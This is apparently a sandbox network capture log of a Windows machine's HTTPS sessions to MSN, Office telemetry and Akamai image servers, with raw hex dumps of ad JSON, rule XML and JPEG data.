Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0CB77821E0D96F30089A6D1CE1DE6E70; _EDGE_S=F=1&SID=2EF7A752059B629115E9B26F045063B8; _EDGE_V=1; _C_ETH=1
2024-11-20 13:43:48 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2752 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132618-T700343876-C128000000002113829+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002113829+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 13:43:48 GMT Connection: close
2024-11-20 13:43:48 UTC	2752	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4e 61 6d 69 62 69 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 53 61 6e 64 77 69 63 68 2b 48 61 72 62 6f 75 72 25 32 43 2b 4e 61 6d Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Namibia\",\"cta\":\"https:\/\/www.bing.com\/search?q=Sandwich+Harbour%2C+Nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49917	20.234.120.54	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:48 UTC	603	OUT	GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1777987859&PG=PC000P0FR5.0000000IRU&REQASID=A4547920AA3F49C6A102C14DAD48AFED&UNID=338389&ASID=7d6bc2297b224056a45a50ec02a2a7ca&&DS_EVTID=A4547920AA3F49C6A102C14DAD48AFED&DEVOSVER=10.0.19045.2006&REQT=20241120T134304&TIME=20241120T134337Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2024-11-20 13:43:48 UTC	183	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 1d1b265a-cbb1-4d77-a0da-da489e5f2de3 Date: Wed, 20 Nov 2024 13:43:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:49 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:49 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:49 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134349Z-1777c6cb754lvj6mhC1TEBke9400000009q000000000ew5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 13:43:49 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49922	23.44.133.12	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:50 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 16 Nov 2024 15:23:03 GMT X-Datacenter: northeu X-ActivityId: 5918db6e-727e-4783-8385-1e32c2fb3f89 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOP1 X-Source-Length: 93971 Content-Length: 93971 Cache-Control: public, max-age=92354 Expires: Thu, 21 Nov 2024 15:23:03 GMT Date: Wed, 20 Nov 2024 13:43:49 GMT Connection: close
2024-11-20 13:43:50 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 13:43:50 UTC	16384	IN	Data Raw: e6 a4 36 cb df b3 ba c7 b3 04 ed 90 f6 e2 c2 e6 e2 15 12 1c 08 23 50 44 21 50 5e 9a f9 a6 e1 58 88 88 04 75 48 8b 6b 98 b4 55 49 21 35 87 dd 35 26 9a 44 0e 7e 35 49 54 56 24 0a c4 e4 3a d3 25 88 82 73 12 46 2c 8f 29 d5 48 5d 8d c6 6d ee 35 cf db 1b cd 13 3b 65 ce 68 24 82 2e d8 34 30 69 78 42 73 cb ea e3 26 05 79 08 4a a2 ca 49 52 35 6d 63 cb 5c f6 87 76 43 9c 40 9c 23 10 01 c4 8f c4 49 02 4e 65 45 b3 aa 23 1d 30 c2 ef d6 d3 47 11 31 13 3d c0 55 c0 10 0c 29 02 b4 c1 ad 79 db 8a aa 65 6e a9 71 fa 29 25 31 ae 97 e2 b4 2c 69 c5 4d 28 96 43 62 66 0e 29 81 59 31 87 5a 6b 9a bc 6c 6b dc 58 de d3 88 37 17 71 6e 2b 56 04 90 3a 20 95 58 4e 0c 52 db c4 4f 75 a6 70 e9 d5 4b 52 aa 41 6c 45 6f 3e 54 f9 a5 34 8f 1c b8 26 d6 cd c8 02 b5 e4 26 38 d8 2d 03 88 ad 46 87 29 Data Ascii: 6#PD!P^XuHkUI!55&D~5ITV$:%sF,)H]m5;eh$.40ixBs&yJIR5mc\vC@#INeE#0G1=U)yenq)%1,iM(Cbf)Y1ZklkX7qn+V: XNROupKRAlEo>T4&&8-F)
2024-11-20 13:43:50 UTC	2690	IN	Data Raw: 83 cc 99 ce ca d2 0c 19 c8 45 ea b3 1d 04 82 d0 6b 50 e2 40 a7 28 77 ba a9 07 3a 4d 94 43 71 18 32 64 d6 b0 78 ac a2 c5 12 20 1e a2 6e d3 71 06 2b 65 9d 79 10 66 b4 f4 e1 6e aa 84 dc 52 d6 14 06 66 2a 6b aa 89 fc a6 bc bd 62 2b d5 05 65 d2 1c 5c 6f d2 f5 d3 45 0d 70 26 b4 eb 68 eb 62 86 58 e8 2e 83 84 10 31 65 26 48 f3 85 27 aa 0b b8 38 bc d2 4b 9c 60 61 10 0f 5b cc 92 2b ce 55 07 46 d9 93 6b 0b c9 b5 81 a4 0e 0b 9b 6c 12 1d 04 d8 d2 40 91 a7 59 d0 23 34 c0 6e 29 70 ac b6 63 3b 50 cd 4f ba 63 2a 21 bb 8e 26 03 45 04 34 90 db 6a e2 7f 95 b0 06 48 37 b4 52 63 50 7a 84 f0 b9 ae 20 c1 ce 41 11 c2 25 ab 0d a9 ac cd a8 01 12 33 e5 09 d3 3c 41 70 b4 35 bd d8 84 d6 86 87 4e a9 b8 b3 07 6f 6b ad 84 09 10 3f d4 4c c9 e8 2b a8 45 a3 59 63 06 7b 64 1f 5a 8f 9a 0e 17 Data Ascii: EkP@(w:MCq2dx nq+eyfnRfkb+e\oEp&hbX.1e&H'8K`a[+UFkl@Y#4n)pc;POc!&E4jH7RcPz A%3<Ap5Nok?L+EYc{dZ
2024-11-20 13:43:50 UTC	16384	IN	Data Raw: 14 b8 0f 4e b9 ab 76 28 e7 5a 6b c3 35 0e 0e 1e 95 f4 52 11 c4 48 87 54 92 0d 22 04 d2 49 92 ea 6b a4 28 34 a4 9b da 0f 9f 14 da 70 65 5c f2 a7 8a a4 23 43 32 22 b9 29 63 12 08 10 39 ce a7 4d 07 45 a2 97 32 3c 80 5a 3a 52 4c 4e 7c 8d 13 ec ac 12 22 22 73 f2 b4 75 41 49 34 98 a7 01 3c d1 71 54 b9 b2 09 6f 68 69 23 0d 73 24 54 08 88 9e b2 82 40 8b cf 0f 4b d3 ad 16 98 3d 3a 28 c8 21 25 f5 2e a9 26 4e 66 6a 49 d7 8a ac 2e 74 40 8a c6 84 f9 88 f1 55 4e 3b 8e 2d 71 6b 41 c2 d0 dc 20 32 70 80 2a 03 44 bb fc 8e 66 b2 8b 1b 85 a1 a5 ce 2d 93 86 7f f9 60 dd f8 66 9a 12 42 8f a4 05 a0 07 f7 8e d1 42 29 31 9e 19 b1 d0 d5 63 d9 af 1b 1e 08 bb 90 21 87 00 0d c5 07 ba b5 26 fa 7f 8d 05 ea b1 3f a8 c9 6b 81 6e 17 00 40 23 15 08 c4 1c 2a 30 e5 10 79 27 d0 7a b9 27 92 c4 Data Ascii: Nv(Zk5RHT"Ik(4pe\#C2")c9ME2<Z:RLN\|""suAI4<qTohi#s$T@K=:(!%.&NfjI.t@UN;-qkA 2pDf-`fBB)1c!&?kn@#0y'z'
2024-11-20 13:43:50 UTC	16384	IN	Data Raw: 6e 23 e4 b3 a7 1c bb e0 35 97 19 e5 04 71 b9 5e 6c 02 bd 1d d2 37 43 87 22 29 02 f6 f1 2b 91 f4 02 84 00 63 f8 5d ba b9 77 3d a1 86 e0 44 1e 28 db 83 b4 13 e0 20 ec e3 dc 34 6b 9d 11 20 02 6e 60 4c 5a 49 03 9a 37 73 e8 05 8d be 55 95 a7 30 66 20 c1 13 6a 64 8a 48 36 d3 c1 49 c2 8d 65 00 04 9b 00 65 d9 4d c8 11 41 60 67 55 23 6e b1 6e b9 7a 14 b2 23 0c 9b 13 59 cf d1 10 1d 79 75 01 0e 1c c7 12 08 31 40 5a 69 cc 13 06 a8 ed 70 ac d4 47 23 d1 2c 90 dc 6b 36 b7 19 fa f6 df 8c 34 07 38 1c 6c 73 4c e2 61 11 18 aa 08 a8 21 03 0e be 0e 53 d1 74 5e 48 14 a5 6f 1f 75 0e 69 00 45 ef 33 79 e8 b5 19 04 cb 25 a0 83 20 13 4e 30 24 48 ea 85 4f ba 39 6f dc a4 fd bc 39 f7 66 0c 53 dd 68 39 cb 6f 33 e8 b0 ed 24 5e 69 5f e5 18 17 03 42 68 71 37 a3 86 7c d4 ba 93 20 e2 26 a4 Data Ascii: n#5q^l7C")+c]w=D( 4k n`LZI7sU0f jdH6IeeMA`gU#nnz#Yyu1@ZipG#,k648lsLa!St^HouiE3y% N0$HO9o9fSh9o3$^i_Bhq7\| &
2024-11-20 13:43:50 UTC	7952	IN	Data Raw: d6 1d 84 56 26 2d 9f 43 c5 71 b1 df af 67 60 dd 18 48 ac c5 26 3c 59 75 7e ce d0 24 44 45 6e 34 8e 2b ca 79 c8 b6 1d 63 34 f2 1e cb 35 f0 d1 39 5f 2e 0b 18 e9 a7 f1 0f 20 35 c0 c9 b1 5e 46 eb 85 e6 78 7b af 53 71 8e c2 c7 90 40 7b 65 a4 d9 e2 48 91 c4 47 35 e5 6e 06 c7 e3 06 69 5b 5e 64 75 a4 55 6b aa ed 41 80 74 27 82 1b 99 4a 9a e5 4a 55 13 08 26 45 00 3d 68 ba 4f c6 6f 1d cd a7 3b 03 ff 00 4e db b6 58 1c c0 47 eb 38 86 12 22 b1 8c 90 4d 41 88 b2 f4 75 cf 7b 8f 3f 79 7d a6 bc e7 35 b3 35 c3 94 c0 3f 78 cd 22 d1 48 33 23 2c ab 63 d5 14 ed 81 5a 9e a8 a3 6d a4 08 9b d4 88 a0 d2 33 56 8e 35 ca e6 80 75 f4 e0 8c 36 c5 d1 06 db 4c 56 01 35 c8 fd 0a 4e a4 0c 56 14 a4 1b 9b eb cd 1a dc 86 dc 46 18 26 b1 49 89 39 7a a2 3b 6f 03 a2 67 0d ce 40 f3 f6 e6 82 0f 5e Data Ascii: V&-Cqg`H&<Yu~$DEn4+yc459_. 5^Fx{Sq@{eHG5ni[^duUkAt'JJU&E=hOo;NXG8"MAu{?y}55?x"H3#,cZm3V5u6LV5NVF&I9z;og@^
2024-11-20 13:43:50 UTC	16384	IN	Data Raw: 4a 69 a7 9b 1c 49 22 aa 12 59 fc 9f 71 c7 52 92 a2 92 3f 23 53 a5 fa 06 54 22 15 25 1f 94 fe 30 8a 19 45 28 65 6a 7c ba 3f 10 45 0c a2 94 32 b5 f9 47 e3 0c a1 94 42 a4 a7 f2 2f c6 1a 85 65 49 57 33 c1 17 52 55 15 32 b5 c9 70 4a 94 ca 92 53 3b 2e 09 2a 4a 72 a0 94 f2 5c 18 a9 5a 54 ca 79 2e 0c 52 52 5c a4 b9 5a b8 a9 64 32 f5 1f b1 06 75 1d 35 cf fb 02 df b9 a3 31 e6 8b 2f d1 a9 8e 89 4a 57 2b be 25 82 b8 82 03 be 31 83 aa 27 c7 df b7 fa 68 e7 d2 7f aa 7e af 43 10 54 1c bc 7f f7 cc ea 91 f8 e7 64 d3 c5 6b fd bf c9 7d 99 fc df 1c f7 7b ed 2b b7 6d b8 97 c6 3f fe 53 75 8e 22 02 bd bf f9 1f 8c 73 27 f6 96 5f fd 3e 81 72 ef fc 07 cb db df ac ff 00 9f 66 ba ff 00 19 f1 cf 19 da be e8 ec 3a 26 0a f2 be 23 7b 6f 6c c1 7b 47 49 5f 29 bb f1 9f 13 b9 47 6f 3c d2 c5 Data Ascii: JiI"YqR?#ST"%0E(ej\|?E2GB/eIW3RU2pJS;.*Jr\ZTy.RR\Zd2u51/JW+%1'h~CTdk}{+m?Su"s'_>rf:&#{ol{GI_)Go<
2024-11-20 13:43:50 UTC	1928	IN	Data Raw: a9 57 45 92 24 d1 0e b3 4a 2d 88 05 25 c0 73 44 8d 89 10 b2 8f d8 0a c0 f3 e0 ac 1a b5 51 55 18 b4 13 ea b6 37 73 1e e1 04 48 5a 88 12 6a 26 46 99 a8 c5 4d 47 a2 78 8d 74 62 01 6c 7f c7 d1 73 cc 18 3a 66 94 f8 36 f3 57 11 c9 d1 fb 2d d7 87 d9 2c 67 c7 82 82 09 e1 d0 cf b2 d3 cb ff 00 84 ab 8a da 3e 3f 02 16 c4 7c 7d c2 0c f3 f5 09 ce 77 e5 43 e4 ac 5a 36 29 f1 f7 58 1c 8d 34 28 53 9c c8 d0 dd 69 cd b4 e8 8c 3a 34 cb ba 8c c2 41 d2 26 e7 c6 88 77 a8 be 89 82 0b a6 ca c5 aa 92 e1 4e 23 f9 5a 97 b7 9f c9 4c c1 ee 17 cd 31 39 43 86 8a c2 ae b1 3e 47 ee 98 75 32 3d 2a 14 52 68 4b 4e 99 27 7f c8 7f dc 14 96 5d 84 67 c8 d4 2c 6a d0 44 18 50 45 2f 88 7b ad 43 f8 d0 e8 84 bc 41 c2 26 12 26 90 e1 4d 42 52 0d 1c 23 aa d2 e6 8a 59 48 c4 da 8e 1d 52 06 3f c9 be 89 1c Data Ascii: WE$J-%sDQU7sHZj&FMGxtbls:f6W-,g>?\|}wCZ6)X4(Si:4A&wN#ZL19C>Gu2=*RhKN']g,jDPE/{CA&&MBR#YHR?

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:49 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:49 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134349Z-1777c6cb7544n7p6hC1TEByvb400000009pg00000000nsg1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:50 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49923	23.44.133.12	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:49 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:50 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO7 Last-Modified: Tue, 19 Nov 2024 20:13:04 GMT X-Source-Length: 176972 X-Datacenter: eastap X-ActivityId: a3389eb9-b205-4fa7-92db-5524bdcefb47 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 176972 Cache-Control: public, max-age=368991 Expires: Sun, 24 Nov 2024 20:13:41 GMT Date: Wed, 20 Nov 2024 13:43:50 GMT Connection: close
2024-11-20 13:43:50 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 13:43:50 UTC	16384	IN	Data Raw: 4a 81 a1 b4 5f 99 e5 16 15 8f 36 74 ee db b5 2e a1 06 2f 94 ae 36 58 52 45 c3 02 c5 67 a4 c7 9d e9 cf 9b 0f 6d db 76 e1 db 0a 46 e0 a4 c7 a8 6e b4 ee fa 8c 74 36 ac 3d ae 3d ce 21 4c 9f 54 da 02 f0 9e 5d 39 cd 2f fa b1 df 8c 20 93 2e bb 40 fe 10 64 9e 91 3d 05 48 b5 1f dd fe b0 0b 7e d0 22 96 53 c0 58 df 70 6f e2 fb 6d 58 d1 76 ee 62 07 a7 6c 0e 25 af f0 10 6b 5e 37 0f b3 12 fa a2 07 8c 71 a2 1d f7 6e 55 91 43 01 b9 44 cf 30 0c 9b 6b ac 7c e9 27 9c 9a 6a 52 4a b9 66 fe d7 dc cd 77 61 b6 26 ff 00 08 b0 80 39 0a 03 fa 96 7f 7c 0c 78 e2 15 86 d2 7f 70 9f 54 db 51 63 e5 22 96 ca e9 87 19 c7 32 4a f2 b8 e5 34 dd c2 4b 3a ee be 80 9e 80 54 72 ef a7 06 51 4b 87 e4 37 85 7d 84 55 dd 3c d8 cc 12 7e ca d8 57 dc 3a 5e 0c 72 e8 6b 16 45 f7 71 38 8d 74 f1 1a 50 ac 39 Data Ascii: J_6t./6XREgmvFnt6==!LT]9/ .@d=H~"SXpomXvbl%k^7qnUCD0k\|'jRJfwa&9\|xpTQc"2J4K:TrQK7}U<~W:^rkEq8tP9
2024-11-20 13:43:50 UTC	2205	IN	Data Raw: 26 71 2a 38 6e 3f 57 e1 53 6e 57 9b 5e b5 36 51 88 0f 5c 8e 82 07 c2 4c 56 4c a5 40 da be 60 73 a6 f6 5e ec 63 7d b1 cb c3 e5 ce b2 51 de 65 ea e8 76 e6 2b 9b 18 02 c7 84 eb 3c 80 23 88 e1 ad 36 d0 95 cc 2f 13 e9 23 84 f0 3f 95 53 3e f0 2f 30 2d d3 c2 95 74 dd ed e4 b0 de 04 f2 dd fd 8e bd 2b 58 c3 6e 0d 25 1a 37 e3 63 2e 09 3f e3 71 1a c4 11 06 79 f1 a3 11 36 1a 44 d6 04 61 95 78 5c 1b 4d e6 b2 1c e5 06 d2 84 93 22 41 11 fd 46 60 df 5d 0d 65 28 db c1 2f 06 ac f3 b1 87 12 0c 78 f2 a6 ee 3f fe d0 1c 84 10 cc c4 00 79 08 bd 1c c9 90 03 00 b4 ed 99 d2 6d a8 e9 e1 4c 6c cf 97 2e 44 46 93 c0 02 41 8e 42 75 f9 de ba f4 d3 78 f0 61 a8 ea ba f8 0f 7f 3b 93 21 8d 49 b2 98 3c 78 72 9f 28 a7 12 33 e7 42 85 8a 13 2a 47 09 fc 57 f8 af 1a 13 83 16 cd aa ca 08 1b 4c f2 Data Ascii: &q8n?WSnW^6Q\LVL@`s^c}Qev+<#6/#?S>/0-t+Xn%7c.?qy6Dax\M"AF`]e(/x?ymLl.DFABuxa;!I<xr(3BGWL
2024-11-20 13:43:50 UTC	16384	IN	Data Raw: 7b 70 42 8f 56 d0 b7 24 bc ed 0c 07 11 b6 f4 ab e2 7c 6f 94 6e be d4 fa 94 2c 86 d0 6d 06 c4 1e 55 1e c0 7b 99 c5 d5 82 93 93 77 18 00 47 13 17 e5 45 fb b0 de fb 64 dc 20 05 06 d3 1c a6 62 f4 f8 c1 87 fd 02 99 55 10 bb 10 4f a8 2c c3 01 1d 27 9e b4 d0 7c ac c0 40 46 11 f5 82 d1 e4 26 3e 14 63 bc 00 aa 16 2c c3 69 1a 05 83 6d 38 35 f5 b5 36 32 10 07 db f3 d2 b5 82 2e 40 cc cd 3f e9 5d 89 62 4f 08 a8 15 b9 26 41 e1 6e 1d 79 52 fb 82 2f 88 ae 93 9b c8 90 be 86 7c 04 7e 75 64 18 89 80 35 fb f4 a4 26 3a 56 82 61 62 c7 48 b9 f8 c4 7d b4 c4 8c fb 37 79 df 95 5b 9f 6d 6f 68 fb fc e9 46 51 f5 5c 74 eb 40 7b 82 c5 80 33 1c 3a d0 4c 9e d4 38 7b 7e e5 46 32 05 bd 50 07 12 48 d4 9a 5c f0 3e 32 68 47 6f 80 ad cd 